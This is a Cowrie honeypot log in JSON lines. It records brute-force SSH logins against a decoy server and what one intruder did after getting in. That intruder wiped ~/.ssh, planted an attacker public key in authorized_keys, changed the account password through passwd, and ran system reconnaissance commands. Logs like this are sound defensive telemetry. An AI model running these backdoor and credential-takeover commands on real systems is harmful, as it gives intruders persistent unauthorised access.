{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:30.970807Z","src_ip":"202.125.94.71","session":"24f8fcbcf5f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"111111","message":"login attempt [vncuser/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:32.037761Z","src_ip":"202.125.94.71","session":"24f8fcbcf5f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:33.304696Z","src_ip":"202.125.94.71","session":"24f8fcbcf5f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":39512,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d6a327de8f1","protocol":"ssh","message":"New connection: 103.88.76.27:39512 (159.203.135.109:22) [session: 4d6a327de8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:59.663918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:59.668613Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:59.902143Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:00.857477Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:01.369479Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:01.373183Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:01.378134Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:01.611990Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:02.126757Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:02.132127Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:02.368422Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:02.372077Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":54484,"dst_ip":"159.203.135.109","dst_port":22,"session":"0de9a89d5741","protocol":"ssh","message":"New connection: 103.88.76.27:54484 (159.203.135.109:22) [session: 0de9a89d5741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:02.605476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:02.610607Z","src_ip":"103.88.76.27","session":"0de9a89d5741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:02.852119Z","src_ip":"103.88.76.27","session":"0de9a89d5741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:03.846324Z","src_ip":"103.88.76.27","session":"0de9a89d5741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:05.097136Z","src_ip":"103.88.76.27","session":"0de9a89d5741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":54496,"dst_ip":"159.203.135.109","dst_port":22,"session":"32d672a0367d","protocol":"ssh","message":"New connection: 103.88.76.27:54496 (159.203.135.109:22) [session: 32d672a0367d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:05.356054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:05.360847Z","src_ip":"103.88.76.27","session":"32d672a0367d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:05.616250Z","src_ip":"103.88.76.27","session":"32d672a0367d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:06.646302Z","src_ip":"103.88.76.27","session":"32d672a0367d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60632,"dst_ip":"10.17.0.5","dst_port":23,"session":"7973c999940b","protocol":"telnet","message":"New connection: 45.58.127.90:60632 (10.17.0.5:23) [session: 7973c999940b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:07.314573Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:07.900448Z","src_ip":"103.88.76.27","session":"32d672a0367d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:08.155576Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:08.158489Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:08.391114Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:08.896877Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadminadmin\\nZnogPSqvpb4x\\nZnogPSqvpb4x\"|passwd|bash","message":"CMD: echo -e \"adminadminadmin\\nZnogPSqvpb4x\\nZnogPSqvpb4x\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:08.900440Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:08.904360Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:08.908075Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1798f7e7c883d670f644fdb67a5a0b21acbce14adbfa239c77655390f569e6b7","size":32,"shasum":"1798f7e7c883d670f644fdb67a5a0b21acbce14adbfa239c77655390f569e6b7","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1798f7e7c883d670f644fdb67a5a0b21acbce14adbfa239c77655390f569e6b7 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:09.141755Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:09.671115Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadminadmin\\nZnogPSqvpb4x\\nZnogPSqvpb4x\\n\"|passwd","message":"CMD: echo \"adminadminadmin\\nZnogPSqvpb4x\\nZnogPSqvpb4x\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:09.674696Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/dac7b3b8f73e87f4a55ea501d395c32ccd608120548c5eab7cecd6b80ac1befb","size":25,"shasum":"dac7b3b8f73e87f4a55ea501d395c32ccd608120548c5eab7cecd6b80ac1befb","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/dac7b3b8f73e87f4a55ea501d395c32ccd608120548c5eab7cecd6b80ac1befb after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:09.909995Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:10.459626Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:10.462794Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:10.702490Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:11.204574Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:11.208319Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:11.442659Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:11.948561Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:11.952495Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:11.956092Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:12.192748Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:12.700133Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:12.703726Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:31:12.937005Z","src_ip":"103.88.76.27","session":"4d6a327de8f1","protocol":"ssh"}
